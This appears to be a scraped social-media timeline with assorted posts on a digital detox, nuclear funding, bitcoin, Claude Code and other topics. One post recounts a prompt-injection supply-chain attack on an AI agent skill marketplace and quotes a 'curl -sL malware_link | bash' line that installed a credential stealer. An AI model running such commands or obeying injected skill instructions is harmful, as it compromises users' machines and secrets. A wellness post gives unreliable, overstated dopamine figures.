Daniel Eriksson

There's more.

[Bryan Johnson @bryan_johnson]

Two weeks without mobile internet improved mental health more than antidepressants and reversed roughly 10 years of attentional decline.

Screen time dropped 49% (314 to 161 min/day).

[Michael Strong @flowidealism]

There's a principle I teach everyone: always be worth more than you're being paid. If you're constantly looking for ways to add more value, you'll never worry about having a job.

Schools teach the opposite: go through the curriculum, get credentials, then you're supposed to get a job.

But the real world works by contribution. By usefulness. By being someone people can't afford to lose.

[Alessandro Palombo @thealepalombo]

I've analyzed every affordable, strategically located coastal town in Italy for a €200-300K budget.

Taxes, airports, cost of living, remote work infrastructure. I've called a couple of friends to confirm the data.

10 towns. The definitive guide for FIRE and Digital Nomads in Italy.

Thread 🧵

[chiefofautism @chiefofautism]

the #1 most downloaded skill on OpenClaw marketplace was MALWARE

it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server

1,184 malicious skills found, one attacker uploaded 677 packages ALONE

OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins

you install a skill, your AI agent gets new powers, this sounds great

the problem? ClawHub let ANYONE publish with just a 1 week old github account

attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL

but hidden in the https://t.co/akQxEk9lrb file were instructions that tricked the AI into telling you to run a command

> to enable this feature please run: curl -sL malware_link | bash

that one command installed Atomic Stealer on macOS

it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files

on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine

Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1

this is npm supply chain attacks all over again except the package can THINK and has root access to your life

[Aakash Gupta @aakashgupta]

This person just gave you the neuroplasticity recovery protocol most people pay therapists $200/hour to discover.

The core mechanism here is dopamine baseline depletion. When you scroll, each interesting post spikes dopamine 100-200% above baseline. The problem is what happens next. Your dopamine drops 40-60% BELOW baseline for 2-4 hours. This means the homework, the book, the focused thinking you try to do afterward feels neurologically impossible. You’re not lazy. Your prefrontal cortex is literally running on empty.

Here’s the thing about that “I used to be sharp” feeling. Working memory capacity correlates directly with dopamine available in the prefrontal cortex. Lower dopamine, shorter working memory span. D’Esposito and colleagues at Berkeley showed this with neuroimaging. The people who can hold longer strings of information have more dopamine available for release. So when you’ve been chronically depleting your dopamine reservoir through high-stimulation activities, your working memory atrophies. You feel dumber because, neurochemically, your prefrontal cortex is operating at reduced capacity.

The “three days” recommendation in this article maps onto clinical literature. Anna Lembke’s research at Stanford’s Addiction Medicine clinic shows dopamine system resets require approximately 30 days for severe cases, but meaningful restoration begins within 72 hours of removing the stimulus. That’s why day three of any detox feels qualitatively different. Your neurons are beginning to upregulate dopamine receptors.

The boredom piece is where most people fail. Your brain interprets boredom as a signal to seek stimulation. That discomfort you feel when you’re unstimulated? That’s withdrawal. The reaching for your phone is your brain trying to bring dopamine back above baseline. Sitting with it trains the system to tolerate lower stimulation and still function. This is called raising your distress tolerance threshold.

What the article calls “rehabilitate,” the neuroscience literature calls neuroplasticity. Your brain is continuously rewiring based on what you repeatedly do. Chronic scrolling strengthens attentional circuits optimized for novelty-seeking and rapid task-switching. Sustained reading strengthens circuits for linear focus and deep processing. You’re not permanently damaged. You’ve just trained your brain for the wrong environment.

Two protocols actually accelerate the restoration. First: non-sleep deep rest. NSDR scripts (free online, 10-20 minutes) increase dopamine in the basal ganglia by up to 60%. Second: brief cold exposure. One to three minutes in cold water spikes dopamine 250% above baseline and sustains it for 2-4 hours afterward. Both of these replenish the reservoir without creating the crash cycle.

The real work is what she described: tolerating the discomfort of being understimulated long enough for your system to recalibrate to normal dopamine dynamics. The girl who used to read voraciously is still in there. The neural circuits are dormant, not dead. Plasticity works in both directions. Start with 10 minutes of focused reading a day. Your prefrontal cortex will adapt. Give it six weeks and measure the difference.

[Claude @claudeai]

Introducing Cowork: Claude Code for the rest of your work.

Cowork lets you complete non-technical tasks much like how developers use Claude Code.

[The Kobeissi Letter @KobeissiLetter]

BREAKING: The US Department of Energy announces $2.7 billion in funding to strengthen American uranium enrichment.

The US is awarding $900 million each to Centrus Energy, $LEU, and two other nuclear fuel makers.

As expected, nuclear energy is becoming even more important.

[Boris Cherny @bcherny]

I'm Boris and I created Claude Code. Lots of people have asked how I use Claude Code, so I wanted to show off my setup a bit.

My setup might be surprisingly vanilla! Claude Code works great out of the box, so I personally don't customize it much. There is no one correct way to use Claude Code: we intentionally build it in a way that you can use it, customize it, and hack it however you like. Each person on the Claude Code team uses it very differently.

So, here goes.

[Daniel Eriksson @daern9]

@ElliotDodson @PauloMacro @agnostoxxx correct link https://t.co/HQvTW4aVmu

[BrendanEich @BrendanEich]

W T F

https://t.co/fgsYEcoUH5

"When you upload or input information through Firefox, you hereby grant us a nonexclusive, royalty-free, worldwide license to use that information to help you navigate, experience, and interact with online content as you indicate with your use of Firefox."

[Daniel Eriksson @daern9]

@GavMcCracken As of now currently worth around $79k. Sorry.

[Daniel Eriksson @daern9]

@GavMcCracken It’s definitely not worthless.
Pretty much useless, yes.
But not worthless, far from it.

[Intelligent Wellbeing 🧠🍉🥩☀️ @intwbco]

You're drinking coffee all wrong.

People wake up, skip breakfast, go to their office job under blue light for 9+ hrs, running on coffee, and wonder why they have crippling anxiety, hair loss, and insomnia.

Here's how to use coffee properly... (thread) 🧵

[Yellowbull @Yellowbull11]

Nuclear power is getting the most political, monetary and public support that it has gotten in decades

Amazing

[Paulo Macro @PauloMacro]

Converdyn needs to expand US uranium conversion capacity *now* for centrifuge overfeeding. America cannot wait.

@honeywell @elonmusk

[Devon Eriksen @Devon_Eriksen_]

"The problem is not that I'm an alcoholic. The problem is that you locked the liquor cabinet."

[Vijay Boyapati @real_vijay]

#Bitcoin reaching $1M from 98k is a lot less crazy than Bitcoin reaching 100k was back when it was 9.8k.

Think about it.

[StripMallGuy @realEstateTrent]

Funny how most people who describe living in New York City as dangerous have never lived in New York City

[Yellowbull @Yellowbull11]

*taps sign*

[Elon Musk @elonmusk]

@shaunmmaguire We should definitely increase nuclear power. No-brainer.